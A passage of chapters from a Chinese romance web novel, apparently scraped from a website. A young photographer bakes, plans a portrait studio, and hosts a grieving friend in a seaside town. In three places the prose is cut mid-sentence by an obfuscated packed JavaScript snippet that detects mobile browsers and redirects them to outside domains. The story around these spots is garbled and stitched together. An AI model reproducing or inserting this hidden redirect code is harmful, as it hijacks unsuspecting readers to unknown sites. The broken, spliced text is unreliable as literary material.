“抹茶千层,”步梨骄傲地说,“跟朋友学的,她做的蛋糕可好吃了,所以我做的也不差。” 这手艺从沈思筝那里学来的,至于沈思筝,她是从跟她从小玩到大的表哥温故那学的,想到这件事步梨就会替她伤心,因为温故因事故去世了,沈思筝为此消沉了好一段时间。 陆时生撸起袖子,麻利地洗了手,“我要做什么?” 看来他已经非常相信她的手艺了。 “你帮我打鸡蛋吧。” 步梨有条不紊地安排。 两人分工明确,在厨房里一通忙活,没多久,一股诱人的奶香味道散发出来,步梨在薄皮上抹好奶油,还给蛋糕做了装饰,一个绿色森林造型的抹茶蛋糕大功告成。 步梨不愧是艺术生,做的蛋糕都别具一格。 陆时生本想夸赞一番,但想了半天,到嘴边的词儿就只有一个:好看。 除此之外,他还有点恍惚。 他发现自己好像是会做蛋糕的。 在哪学的呢? “你很有当厨师的天赋诶。”步梨也发现了这个事情。 她让陆时生做的好多事情,都是一教就会。 陆时生系着围裙,脸上还沾了白色的面粉,这么一看,还挺贤惠的。她觉得陆时生的学习能力很强,如果能好好读书,肯定也是学霸,前途不可限量。 她又想到了那几道数学题,陆时生做完之后,她拍照给沈思筝发了过去,让她帮忙看看,也不知道陆时生做对了没。 莫名其妙地,她很希望陆时生能做对。 回神间,步梨狠敲了下自己的脑袋,做错了才好!这样就能搓搓他那股锐气,谁叫他那么张狂! 厨房一片狼藉,唯有放蛋糕的地方还能看得过去。 步梨特意将这一处清理出来,等着蛋糕做好了便拍一张发朋友圈。 “其实你也可以开一家蛋糕店。” “我才不要。”步梨摇头。 “怎么?” “太累了。”步梨手都懒得洗,直接在瘫坐在椅子上。 陆时生暗暗地想:果然是公主。 16. 你屋里怎么藏了男人? 蛋糕做完,已经临近中午。 陆时生帮忙收拾了厨房。他从没见过这么多餐具,有些可能只是摆设,看上去有些年头了,也没有使用的痕迹,他在放盘子的时候,差点就碰倒了一个青蓝色的花瓶。 陆时生心有余悸,心里怨了声:一堆什么没用的旧玩意儿? 抱怨归抱怨,他还是小心翼翼地将餐具复原,生怕碰到了某个价值连城他一辈子都赔不起的老古董。 步梨认真地将蛋糕打包好,这时,手机响了起来。 她腾不出手,便直接将手机放在一边,开了免提。 两人说了几句,手机的另一头沈思筝的声音忽然兴奋起来,“小香瓜——” 声音一出,步梨就后悔了,每次沈思筝用这种语气跟她说话,准没好事,果然,她还没来得及将免提按掉,对方八卦又带了点质问的声音已经泄洪一般闯了过来。 “老实交代,你屋子里怎么藏了男人?” 她声音很大,寂静的屋子里,沈思筝的声音显得格外刺耳。 步梨顿时浑身僵直,转头的时候感觉自己像个快没电了的机器人,脖子都是机械的,难以控制。 陆时生就在她边上,指望她没听到这句话是不可能的了。只见他轻飘飘地看了她一眼,还装模作样地咳了一声,然后从旁边捞了条毛巾,擦了擦手,将毛巾随手一扔,转身走了。 手机那边的沈思筝听到了他的咳嗽声,也骤然没了声音。 步梨琢磨两秒,脑子里飞快分析出陆时生眼神传递给她的信息,应该是:自己处理好。 她揣着手机去了洗手间,锁上了门,仍然没从方才的“灾难现场”解脱出来。 她怒腔道:“沈思筝!” 沈思筝捏着嗓子低声道:“香瓜,到底怎么回事啊!刚刚吓死我了!那个男人怎么还在你屋子里?” “是陆时生。”步梨答道。 “他怎么在你家?现在还在?你发的照片里也是他吗?”沈思筝一连串的问题。 “还在,不过我在洗手间,现在安全了。”步梨说着,顿了一下,“照片?什么照片?” “在自己家还偷偷摸摸的,肯定没干好事。”沈思筝道,“就是你发的朋友圈啊,你自己看看。” 难道不小心拍到陆时生了?可她拍照时特意有避开陆时生的。 步梨浑身冒冷汗。 “照片有问题?” “你再看看!我可是鹰眼。” 步梨只好又自己看了看,片刻后,恍然大悟。 原来问题出在角落里摆的那个玻璃杯,上面映出了陆时生的背影。步梨松了口气,这么刁钻的地方,也就沈思筝能发现了,别人应该都没察觉。 不过出于谨慎,她还是删掉了那条朋友圈。 “解释一下吧。”沈思筝得意洋洋。 “都是乡里乡亲的,他来我家有点事。”步梨强行绕开话题,“对了,你给我找的那道题目,答案是五分之二吗?” “对了吧,我直接转给老尚了,反正他说对。”沈思筝显然对这个话题没什么兴趣,懒洋洋地答道。 “那这题难度怎么样?”步梨再次确认。 “对于大学生来说,中等吧,谁答的啊?”沈思筝问道。 “这边一个天才儿童。” 步梨没好意思说是陆时生,随便说了几句其他的,敷衍了过去,匆匆挂了电话。 出门时,她先探出身子朝陆时生待的方向望了望。 陆时生正靠在沙发上悠哉悠哉地看书,手上还拿了上午喝剩下的果汁,看起来蛮享受。 还真没拿自己当外人。 步梨看着他,忽然想起一个不太熟悉的人。 是一个许久未见,以后也再不会见到的人。 为什么会想起他来?步梨觉得自己莫名其妙,同时心里涌出几分伤感。 她迅速让自己回神,并强行忘记刚才的尴尬。 三秒钟后,洗脑成功,她拿了蛋糕,刚没事人一样走过去喊陆时生,“什么时候出发?” 陆时生放下书,“现在。” “等一下,我把桂香奶奶的照片打印出来。” 印完照片,步梨下楼。 陆时生也跟没事人一样,“走吧。” 两人各自骑着自己的电动车,一路到了望潮木工坊。 一进屋便有饭菜的香气迎面扑来,陆望潮已经将饭菜都做好了,陆时生拿了碗筷,还不客气地喊步梨帮他一起摆好。 陆望潮骂了他一句,“让人家客人干什么活儿?” 陆时生抿抿嘴,“什么客人?都来好几回了。” 陆望潮恨铁不成钢地道:“那也不能让人家女孩子干活!” 陆时生有苦说不出,他明明就是见步梨干坐着尴尬才喊了她,不过也新鲜,他还是头一次见步梨这么乖,小小的一只坐在那儿,双手无处安放的样子非常好玩。 他这边无缘无故被劈头盖脸骂了一顿,步梨那边莫名放松了不少。 从方才坐过来,崔胖的眼神就跟生了根一样,盯着步梨拿来的蛋糕挪不开眼,好几次伸手要开盒,都被陆时生打了回去。 崔胖只好可怜巴巴地等开饭。 “开饭开饭——”陆望潮皮肤黝黑,单看外表是个身材魁梧的壮汉,但交流起来十分热情亲切,尤其是和步梨说话的时候,两眼眯成一条缝,看上去十分慈祥。 他比陆时生健谈,吃饭期间一直在跟步梨聊天。 “姑娘啊,你是哪人呢?” 步梨道:“我家在江北。” 陆望潮感叹了一声,“嚯,那是大城市啊,什么时候来的花溪镇?” 步梨道:“上个月。” “来旅游的?” “不是,我住在这儿,这算是我的老家,小时候我跟爷爷奶奶在这边住过一段时间,只是后来搬走了。” “哦,挺好,这边虽然小,但比市里头空气好。” “是的,空气好多了,吃的也健康,叔叔您做的菜真好吃,”步梨夹起一块蛏子放进嘴里,口感鲜嫩,比在江北吃的好多了,她又问,“叔叔,您在外面干活辛不辛苦啊?” “还行吧,苦也习惯了,我什么活儿都干过,之前还开过大货车,从这儿能一路开到新疆,横跨半个祖国呢,当时比现在可辛苦得多。” 步梨还没说话,崔胖在此时插言道:“香瓜姐,你做的蛋糕真好吃。” 步梨有些小小地得意。 陆时生时不时看步梨两眼,将她的小表情尽收眼底,今天长辈在,她有所收敛,一直是一副乖巧的模样。 他默默切了块蛋糕,第一口尝到嘴里,淡淡的奶油在口腔中融化,他这才知道崔胖一点都没夸张。 只是这个味道莫名有种熟悉的感觉,又想不起来在哪里吃过。 他顺着记忆搜寻过去,越是想不出,越是想弄清楚这种感觉的出处,半天无果,甚至有些头疼,只能作罢。 “好久没做了,还担心做的不太好,不过总感觉差了点什么。”步梨谦虚地说。 “没有啊,超好吃。”崔胖道。 陆时生轻声来了句,“可以在奶油里加点白巧克力。” “你怎么知道的?”步梨惊讶。沈思筝确实教过她这个小技巧,但今天家里没白巧克力,步梨就没放。 陆时生方才也是随口说的,他琢磨了一下,想着大概是他的大脑突然想起了被遗忘的记忆。 “可能我有做厨师的天赋吧。” ... 吃完午饭,步梨去了桂香奶奶的家。 桂香奶奶拿着她的照片看了好久依然爱不释手,步梨还特意找了个适配的相框裱起来。 “好,真好。”桂香奶奶差点就要热泪盈眶。 步梨见她开心,自己也跟着开心。过了会儿,她凑过去道:“桂香奶奶,我能不能跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407279|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您商量个事儿?” “你说,姑娘。” “我打算开一家写真馆,就类似照相馆,您的这张照片我可以多印一张,放在店里当样片吗?” 桂香奶奶被她的话逗得哈哈大笑,“就我这又老又丑的样子还能当样片?” 步梨不同意道:“哪里又老又丑了?多美啊?美是多元化的,不分年龄的,您看您这样照片的感觉多好呀。” “你要开店,店里放我的照片,我怕影响你的生意。” “不会啊,只会越来越好,您就答应了吧。”步梨声音甜软,听起来像是在撒娇。 桂香奶奶原是担心自己照片不够好看,见步梨这么坚持,自然点头答应。 步梨欣喜万分地抱了她一下。 当天回到家,步梨认真规划了自己开写真馆的想法。房子不用另找,她这个别墅就很合适,有好多房间都空着,可以开发出来,院子里也可以拍外景,只是都需要布置一下。 去海边拍外景也不错,只是她需要一个小助理。 除此之外,服装、首饰、化妆品...... 要添置的东西委实不少。 还要给写真馆想个好听的名字。 接下来一个月,步梨都在为写真馆的开业进行筹备,还经常把陆时生薅过来帮忙收拾院子。确切地说,是陆望潮让陆时生主动过来的。 他这几天不出门,可以照看店里生意,儿子长大了,得有时间忙自己的事。 陆时生便借着快递送货上门的名义,光顾步家别墅。 他知道步梨的房子大,但到了后院才发现这里简直别有洞天。 郁郁葱葱的树木林立,顺着楼梯下去,还有屋子。那里有仓库。虽然来过这里好几次,但这是陆时生第一次见到院子的全貌,他惊得下巴半天没合上,这世界简直疯了,怎么会有这么大的房子? 房子大,打理起来也麻烦。要修剪花草,整理草坪,修补木架,很多陈旧的地方还要翻新,重新刷上油漆。 忙活半天,两人也只弄好了冰山一角。 四月的天温度已经不低了,步梨从小娇气惯了,没怎么干过体力活儿,劳动了一会儿就累得不行,跑去阴凉地方休息,同时在心里盘算着雇人来弄。 陆时生倒是有使不完的劲儿,刷完油漆,还用仓库里的木材搭了个简易秋千。 步梨看着一块块木头在他的加工下变得方正光滑,不禁心生赞叹。 她也正想要做一个秋千在这里,竟然与陆时生不谋而合。 陆时生的秋千大功告成,他拽了拽绳子,确定不会断,便一屁股坐上去,转头朝步梨道:“过来,推我一下。” 步梨震惊,“不应该让我玩一下吗?” 陆时生掀着眼皮看了他一眼,嘴角勾出一个寡淡却又张狂的笑容,从中透出几分为所欲为的野性,他没挪开,在秋千上晃晃悠悠了几下后,才不急不慢地低声道:“这是你家,你想玩随时都能玩。” 步梨气冲冲走过去,想从背后把陆时生推下来,却坏心办了好事,给别人做了嫁衣。 陆时生借着她的力气悠荡起来,整个人愈发得意,还嚣张地命令道:“使点劲儿。” 他身上的黑色卫衣偏薄,凸显出背部紧实的肌肉,充满着力量感。 步梨赌气一般,使出吃奶的劲儿,狠狠推了他一把后,直接转身离开。 她转身拿了个锄头刨地,没再理他。 身后有影子晃来晃去,陆时生自己把秋千荡得老高,就为了能荡到步梨站的位置旁边,步梨看出他的刻意,往边上走了几步,换了个地方继续刨。 “诶,”陆时生荡了一会儿后,忽然喊她,“你的写真馆,叫什么名儿?” “想好了啊,你猜叫什么?” 陆时生想都没想,直接道:“猜不到。” “叫......”步梨放下手里的锄头,一字一顿道,“香瓜写真馆。” 17. 沈大小姐驾到 陆时生笑得差点从秋千上摔下来。 步梨怒目瞪了他一眼,心道活该,回头的时候忽然有些心血来潮,她喊了一声,让陆时生坐在那里别动。 步梨回屋取了相机,悄默声走到陆时生身后。 “干嘛?”陆时生不急不缓地回头。 步梨“咔嚓”一声按下快门,朝他笑了笑。 “这张照片怎么样?”她走到陆时生身前,将照片调出来。 照片里,男人随意地坐在秋千上,长腿支撑到地面还游刃有余,转过头来时,眼神里带着不羁和漠视一切的孤傲,还有几分突然被喊到名字的茫然。 陆时生一手握着秋千的绳子,一手随意搭在腿上,看了眼步梨的照片,评价道:“一般。” 步梨皱眉,“你是说自己一般?” 陆时生道:“我指拍的。” “我觉得还不错。”步梨撇撇嘴,仔细看了自己刚才拍的照片,明明光线、角度、构图都很好。 只是因为镜头里的人物少了立体感,拍不出陆时生本人的神韵。 “商量一下,”步梨换了一副柔和的声线,“能请你当模特,帮我拍几张这个场景的样片吗?” 陆时生问:“几张是几张?” 步梨:“三四张,五六张,七八九十张或者二三十张吧。” 陆时生:“......” “不拍。” “为什么?” 陆时生无情拒绝,“没为什么,就是不想拍。” 步梨着急劝道:“你就坐在那里,我来拍就行了啊。” 陆时生道:“别以为我是乡下人就无知好欺负,你要用我的照片,是要经过我本人同意的。” “我付钱。”步梨很真诚。 陆时生并没有买单,“不是钱的事儿。” 步梨不解,她觉得那张照片真的很有感觉,“那是什么事儿?” 陆时生道:“模特我当不了,找别人吧。” 步梨不喜欢勉强别人,既然陆时生不答应,她找别人就是,她早就想好了,在写真馆开业之前,把沈思筝沈大美女喊过来当她的模特,到时候样片一出,她地生意怎么可能不火爆? 步梨陷入美好的未来畅想—— 内景有温馨美好的房间,文艺安静的秋千小院,外景有静谧繁茂的树林,清冷浪漫的海边,还有花海、旷野、落日...... 总之,不差陆时生这几张照片。 ...... 为了筹备写真馆的开业,步梨陆陆续续买了很多东西,还把沈思筝邀请了过来。 沈思筝是个大忙人,平时在医院工作忙得转不开身,一年到头也没几天休息日,这次能为步梨专门来一趟花溪镇这种无名之地委实是真闺蜜。 步梨一早就收拾好,去县城接她,从接到人,沈思筝就开始和她倾诉这一路的来之不易。 从江北来这边至少要倒车两次,先到市区,再转城际公交到县城,最后要搭乘班车才能到花溪镇,步梨见到沈思筝那比人还大的箱子,用脚指头都能想到她这一路的艰辛。 “得亏你力气大,看来这次放假的时间不短啊,带这么大一个箱子,要在我这儿长住?” 步梨朝她笑着眨眨眼。 沈思筝一边回答一边将她上下打量了一番,“长不了,下周就得回去,你最近气色不错啊,好像还胖了点。” 她开着玩笑。 步梨的笑容僵了僵:“没胖!可能是衣服显的,你下周就走,干嘛带这么多东西。” “都是给你的。”沈思筝此刻很像一位挥金如土的霸道总裁。 步梨受宠若惊,“都都都是给我的?什么东西啊?”她好奇道。 沈思筝顺了顺她的马尾,“等回家你就知道啦。” “那边还有麦当劳啊,这地方比我想得繁华得多嘛,你家在哪?” 步梨帮她拉了行李箱,“先去吃饭,然后坐大巴去花溪镇。” 沈思筝瞳孔地震,“还要坐大巴?” 两人在附近的餐馆吃了顿午饭,之后步梨一手拉着行李箱,一手拉着沈思筝的胳膊,大步流星朝车站方向走去。 两人好久没见了,她之前回江北,沈思筝也总是工作没空聚会,所以这次见面,步梨显得异常兴奋。一直到上了大巴,步梨神情激昂地跟司机张叔打了个招呼,沈思筝也跟她鹦鹉学舌一般喊了一遍。 “张叔好!” “好好好。”张叔被两人整蒙了,边回应边心想着这俩姑娘真洋气,一看就是城里来的。 车上位置挺多,步梨和沈思筝挑了两个靠后的位置,车子启动,驶入宽阔的沿海大道,窗外一片蔚蓝,两人开始互相给对方拍照。 初来此地的明明只有沈思筝一个人,步梨却也像是第一次见到大海一样,两眼亮晶晶的兴奋得不行。 步梨忽然就想起之前她在县城坐公交碰上的两个小姐妹,好像跟她们一样,也是一路新奇,一路狂欢。 “花溪镇到了——” 熟悉的广播声响起。 步梨下了车,接了下沈思筝手里的行李箱。 她的小电驴就停在旁边海鲜面馆的对面,她拿着钥匙一贴,小电驴欢迎地嗷了一嗓子。 “坐吧。”她朝沈思筝招招手。 “你每天的通勤工具就是这个啊?”沈思筝略显嫌弃。 “对啊,是不是挺方便的,而且我也不需要通勤,我现在是无业游民,不过马上就要当老板了。” “恭喜恭喜。”沈思筝敷衍两声,抬脚一跨坐上去,把箱子放在一侧拉着。 步梨在狭窄的乡村小路上平稳地行驶,虽然速度缓慢,但不妨碍四个轮子磨着地面,发出咯噔的声音,像是痛苦的呻吟。 等到了绿柳街,四个轮子每个都被磨掉一半,合算下来约么只剩两个。 沈思筝心疼地吸了口气,“我新买的行李箱,真是出师不利,早知道我就给你带这些东西了,直接送你一辆车好了。” 步梨哈哈笑了两声,“工作了就是不一样,出手都变阔绰了,最近添置新车了?” 沈思筝缓声答道:“没有,从前温故的车,他有好几辆,他走后,那辆红色法拉利归我了。” 步梨一愣,特意去看了看沈思筝的表情。 她刚刚说的是......温故? 这个名字是沈思筝的伤痛,她很少提及。 “怎么会突然提起你表哥?”步梨带了点小心翼翼。 沈思筝口中的温故是她表哥,她初三那年,温故高考考入了江北大学数学系,虽然没见过,但步梨一直很崇拜数学好的大神,也一直努力向温故学习,只是她脑子不好,再努力也没考上江北大学,后来,听说温故在大学期间参军入伍了,又进了特种兵大队,但世事难料,他在一次任务中牺牲,永远留在了雪山上。 沈思筝和温故感情好,这件事对沈思筝的打击很大,所以在温故牺牲后的很长一段时间,她都不敢在沈思筝面前提起这个名字。 没想到这次见面,沈思筝自己提了,还是以这般淡定轻松的语气。 也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么可能?他最爱护你了。”步梨能看出沈思筝神情里隐藏的忧伤,安慰道,“看来你对他的离开真的释怀了。” “也不算吧,我现在在医院工作,每天生生死死地看得多了,有时候觉得活着也挺无聊的。” “瞎说什么呢!”步梨狠狠敲了她一下,“走了,进屋啦。” 一进屋,两人就开始进行开箱工作。 箱子一打开,便有几大包零食溢出来。 沈思筝就像个关爱孩子的老母亲一边往外掏东西嘴里一边不停地唠叨: “你最爱吃的面包还有薯条,来这儿你也吃不到,我昨天刚买的,不过得抓紧吃,明天当早餐好了,这个饺子是我妈包的,味道还凑合,比我包的好,饼干是我做的,一会儿你尝尝我手艺进步没。” “还有几身新衣服,一个化妆包,过会儿拍摄的时候用,重头戏来了,还有一个拇指相机。” 沈思筝从最底层翻出一个黑包,得意地展示道:“这可是最新款,你看看能不能支持你的摄影大业?” 步梨接过黑包,爱不释手道:“哇,宝贝你真够意思。” 沈思筝笑了两声,“别那么肉麻。” 今日的行程主打一个随心情,念及沈思筝从江北遥遥赶来很累,当天下午两人便没出门,把拍摄行程挪到了第二天。 两人把房间布置了一下,到晚上一块做了饭,吃完找了部电影来看。 沈思筝把步梨的房间参观了一番,最后目光定格在书桌上的那幅画。 她看着桌上小学生美术作业一般的小河流水画作,眉头紧锁,指着画问:“是我不懂艺术吗?这就是知名艺术大学优秀毕业生的作品?” 步梨解释道:“之前有个小孩住我这儿,那是她画的。” 沈思筝问:“那个数学很好的小孩?” “不是,那是另一个。” 沈思筝啧啧了两声,“你到底有几个孩子?” ...... 18. 你不能在这里找男人 花溪镇似乎有一种魔力,来的人都会自然而然地早起。 一大清早,一向赖床的沈思筝居然早早醒了,她上了趟洗手间后再无睡意,觉得神清气爽,整个人从身体到灵魂都像是被洗涤过了一样。 步梨还在睡,沈思筝没叫她,自顾自打开窗户呼吸了两口新鲜空气,看见门口有人骑着电动车过来,在步梨家的大门口停下来,开始按门铃。 她拧了拧眉头,这个村子里的人都这么早就来串门吗? 沈思筝本不想理他,但见到他从电动车上搬下来两个纸箱,猜到是送快递的,她披了件外套,下楼去开门。 快递员个子不高,微胖,国字脸,单眼皮,头发微卷,走近后还能闻到发胶的味道。 还挺精致。 沈思筝在心里暗暗地想。 “你好,是送快递吗?”她有礼貌地问了声。 崔胖见出来的人不是步梨,微微愣了一下,问道:“这里换住户了?” “你找步梨吧,我是她朋友,来她家暂住几天。” 沈思筝说道,她有些猜到这是谁了,她和步梨聊天的时候,步梨提起过镇上的快递员,据说很能干,看着还挺年轻,但这模样,就是一般模样吧,行为举止还有些稚嫩,像刚毕业的学生。 “你是那个望潮快递站的?叫什么来着?” 崔胖拼命点头,神情欣喜,“对!你知道我?是望潮木工坊,只是把快递站设在了旁边,小姐姐有空可以去那里转转哦。” 沈思筝沉思片刻。 做了二十多年的好闺蜜的两个人,有时候从平时的只言片语里,就能察觉出对方的意思。 自从来到花溪镇,两人聊天次数不算多,但每次步梨都会提到一名“木工坊老板”,也是送快递的。 沈思筝一直觉得步梨对那个快递员有点喜欢的意思,但现在一看,抛开外表不谈,这也太小了吧,看着就是高中生啊,步梨从前可是说她对弟弟一点也不感冒的。 真是她多心了? “有所耳闻。”沈思筝道。 “那个,我叫崔......”崔胖深感荣幸,说到一半又改了口,“叫我阿路就行,姐姐你叫什么?” 他现在深信绿柳街12号是个神奇的地方,居然又见到一个漂亮姐姐,崔胖庆幸前段时间他为了让自己配得上步梨姐姐,拼了命减肥,现在小有成效。 他打算从今日起改头换面给自己营造一个帅哥人设,帅哥当然要有一个好听的名字,等他真正减肥成功,自然也不能叫崔胖了。 他大名叫崔宝路,阿路还挺好听的吧。 见到漂亮姐姐的早晨,崔胖赋予了自己新名字。 “哦,我叫沈思筝。” “思筝姐姐,这是步梨姐姐的快递,麻烦你转交给她。”崔胖很恭敬地把纸箱递过去。 “多谢啦。”沈思筝礼貌地眯眼笑了笑。 崔胖脸色一红,声音有些局促,“那我就不进屋了,先走了。” 他晃了晃手,上车的时候还差点被绊到。 沈思筝抱着纸箱回到房间。 箱子挺重,她也没兴趣拆,只把东西往茶几上一放,自己陷在沙发里喘着气。她眼皮挑了挑,瞥到茶几下面的缝隙里落了张纸,便随手捡了起来,要扔进垃圾桶。 手指正要松开,沈思筝忽然顿住。 纸上的字体,好像有点熟悉...... 不可能的。 沈思筝感觉自己眼睛花了,或者是出现了幻觉。 沈思筝将那张纸拿回来,放在眼前仔细的端详,一瞬间,她不自主地颤了一下,像是触电一般,从指尖瞬间传至全身。 太像了。 太像温故的字了。 盯得久了,她竟然有些不认识字,一时又觉得不确定。 楼梯处传来擦擦的脚步声,沈思筝像是被罩在一个钟里,外界的声音屏蔽了七八分,一直到人走到她跟前,声音才破钟而入,成功敲击了她的耳膜。 “你怎么起这么早啊?” 步梨的声音将沈思筝拉回现实。 沈思筝浑身一机灵,抬头见是步梨,她正一边揉着眼一边慢吞吞地下楼来,见沈思筝发愣,又重复了一遍刚才的话。 “你几点起的啊?” “哦,大概七点钟吧,我也没看时间,醒了就起来了。” 沈思筝恍恍惚惚地答了一句。 步梨走下来,见她手里拿了张纸,她伸着脖子看了眼,“哦,你在看这个,解答的过程是不是都对了?” “嗯。”沈思筝渐渐回过神来,平静地道,“这是你上次说的那个天才儿童写的吗?” 步梨看了眼沈思筝的表情,因为心虚,此刻沈思筝脸上的神情被她解读成了质疑。 “好吧。”步梨不好意思地承认,“其实是那个木工坊老板写的啦,字还挺漂亮的是不是?” 她和沈思筝聊天的时候,一向称呼陆时生为木工坊老板。 “诶?他来送过快递了?”步梨说完,目光扫到了茶几上的快递箱。 “是有人来送过快递,他说叫阿路。” 步梨噗嗤笑出了声,自己构思出了一种陆时生说这话时候的表情语气,觉得怪恶心的,“还阿陆,什么名字啊,他本名叫陆时生。” “原来叫陆时生啊,名字还蛮好听的,就是人有点.......”沈思筝在努力找一个形容词。 寻找失败,她转而问道,“真是他写的吗?” 她还是有些不确定。 “当然,骗你干嘛。”步梨耸了耸肩。 “那你之前还跟我说是天才儿童!”沈思筝表情愤怒,其实是为了掩饰心里的隐隐失落。 果然是她想错了。 或许是因为温故的字有些大众化,他那个人从小就追求极致,练字帖的时候一定要练习到和字帖一模一样,方方正正,好看但是没了自己的特点。 虚惊一场。 但沈思筝也说不好,这里的“惊”到底是惊喜还是惊吓,亦或都不是。 或者,应该说是。 南柯一梦。 她心里泛起阵阵酸涩。 “怎么了?”步梨察觉出她的异样。 沈思筝摆了摆手,“不知道,我最近总是想到温故。” 步梨愣住,她还是没走出来。 “你是不是太累了?正好在我这儿休息休息,拍完外景,你在这儿多住几天吧。” “我总觉得他没死。” 沈思筝自顾自地说,说完又自我否定地叹了口气,“但想想也不可能,七年了,他要是活着,肯定早回家了。大概是我始终不能接受,他永远留在了雪山里,那是雪崩啊,几乎不可能生还的。” 步梨低了头,不知道该说些什么,只跟着她一块悲伤起来。 “思筝,温故哥他是为了保家卫国,他是非常伟大的人。”步梨这是真心话。 她从小就知道,温故是有大志向的人。旁人眼里他可能是一个只爱车酒玩世不恭的富二代,可其实他样样都好,读书的时候便是学霸,考上江北大学。后来弃笔从戎,到了部队也因为优秀被选为了特种兵。 他想做的事从来都是毫不犹豫地去做,还能做得很好。 “我倒是希望他做一个好吃懒做的少爷。”沈思筝敛回目光的同时把其中的情绪收的极其不易察觉,只像在淡淡陈述一件事实,“一开始我总觉得他傻,放着优渥的生活不过,非要跑去吃苦,但是后来,我理解了他。” “就是我跟尚宁洲被洪水困在鹿宁村的那次,救了一个落水的小孩,那时候,我脑子里什么都没想,只想着拉他上来,什么被洪水一块冲走的风险,根本来不及考虑。所以现在,我想通了。” 沈思筝笑笑。 “你能这样想就好。”步梨拍拍她的肩膀,“别想了,我们去拍外景吧,一边拍,一边散散心。” 沈思筝点点头,“也好。” ..... 今天是个大晴天。 晴空如洗,阳光洒落,海面波光粼粼。 海风拂面,带着海水的咸味和微微清亮,似是大自然温柔的拥抱。 这样的晴天与沈思筝这种清新柔丽间又带着几分洒脱的气质相得益彰,她人生得白白净净的,随随便便一拍就有种文艺片大女主的感觉。 高中那会儿,沈思筝和步梨是学校赫赫有名的姐妹花,只是沈思筝性格开朗张扬,成绩也好,所以更耀眼些。上天给了步梨一副好皮囊,却没再给她一个聪明的大脑。好在她生在一个优渥的家庭,凭着天生的艺术细胞,成绩平平也能去国外读名校。 饶是如此,步梨还是羡慕脑子好使的人。 “想什么呢?”沈思筝走过来给她递纸巾。 阳光下待久了,在不同的景点凹造型,又背着沉沉的摄像机到处跑,身上早就出了薄薄一层汗。 “那边有座位,去歇会儿吧。”沈思筝道。 步梨擦了擦汗,点头跟过去。 她刚刚是想到了陆时生。他脑子那么好,没读大学可惜了。 步梨出神片刻,觉得自己太爱操劳些有的没的,怕是陆时生本人都没她这么上心。 长椅旁边有座卖冷饮的凉亭,步梨经过的时候买了两杯冰可乐。 凉亭的老板是名二十来岁的青年,模样长得挺帅,见俩小姑娘眉清目秀的,忍不住多看了两眼,还朝着步梨抛了个媚眼。 步梨熟视无睹,木讷地接过可乐道了声谢转身就走了,沈思筝坐到座位上就开始开玩笑,说步梨神经大条,人家抛过来的眉眼都没有接收到。 步梨撇撇嘴,“又不是什么帅哥。” 沈思筝了然道:“知道你不看脸,从小到大我就没听到你夸过哪个帅哥长得帅。” “夸那个做什么?就算长得帅我也不夸。”步梨大口吸着可乐,忽然心血来潮般,转头问沈思筝,“你觉得......今天早上来送快递来的小哥,是不是蛮帅的?” 沈思筝一口可乐差点喷出来,想起步梨还夸过他数学好,是个天才,心里生出一个恐怖的想法。 “这话什么意思?你该不会......” 沈思筝对步梨再了解不过,她有些智性恋,打小就喜欢学习好的,尤其是数学或者物理成绩好的男生,步梨把他们当神一样崇拜。 绝对不能让她被这种感情冲昏头脑。 步梨见表情复杂,手在她的肩膀上摩挲几下,以表安慰,“没什么意思啊,就是让你客观评价一下,那位是花溪镇的一枝花。” 沈思筝咬着吸管皱眉,花溪镇一枝花就这? “不太好评价,但从外表上来讲的话,”沈思筝撇了撇嘴,很给面子地评价了句,“凑合吧。” 步梨不以为意道:“你身边帅哥环绕,眼光太高了。” 沈思筝有种错觉,只要一提起那个木工坊老板,步梨的眼神里会不由自主地流露出几分欣喜,她皱眉,语气严肃地叮嘱道:“我告诉你,你不能在这里找男人。” 步梨哈哈笑了两声,辩解道:“我是来这里创业的!” “我说真的。”沈思筝强调。 “行行行。”步梨言归正传,“你这是什么规定?这里的人也挺好啊,当然我不是特指某个人,我只是觉得不能有地域歧视,哪里都有很好的人。” “我才没有搞地域歧视!我就是怕你一个人傻钱多肤白貌美的小姑娘被人给骗了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416401|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不会的,我精着呢。”步梨朝她眨眨眼,“而且这的人真都挺好的。” “有吗?我觉得那个木工坊老板就对你心术不正,你要跟他谈恋爱,难道要天天帮忙刻木头收快递?” 沈思筝无心的一句话把步梨逗乐了,她好像真帮陆时生收了不少快递,木工还没体验过,但她上次自己心血来潮给他雕刻的小摆件上色时,觉得雕刻一定很有意思,下次有机会尝试一下也不错。 步梨乐呵呵地,像是故意气沈思筝,“其实我还真体验过收快递,挺好玩的。” “你居然收快递?”沈思筝震惊。 步梨做出一副可怜兮兮的形象,“手都差点磨出茧子了。” 沈思筝低头去看,入眼是一只白嫩修长的手,她嫌弃地一扒拉,“别扯别的,你不会真喜欢上那个木工坊的木工了吧,虽说他也算是个老板,但以后能在江北买房子吗?” 步梨摆摆手,“管他呢,又不和他谈恋爱,就算谈恋爱,又不一定结婚,我不看那些,” “只看他的数学成绩。”沈思筝打断她直接答道。 她脑海里浮现出今天早上那名快递小哥的模样,那小胖子这么早就出来打工,看着也不像学霸。 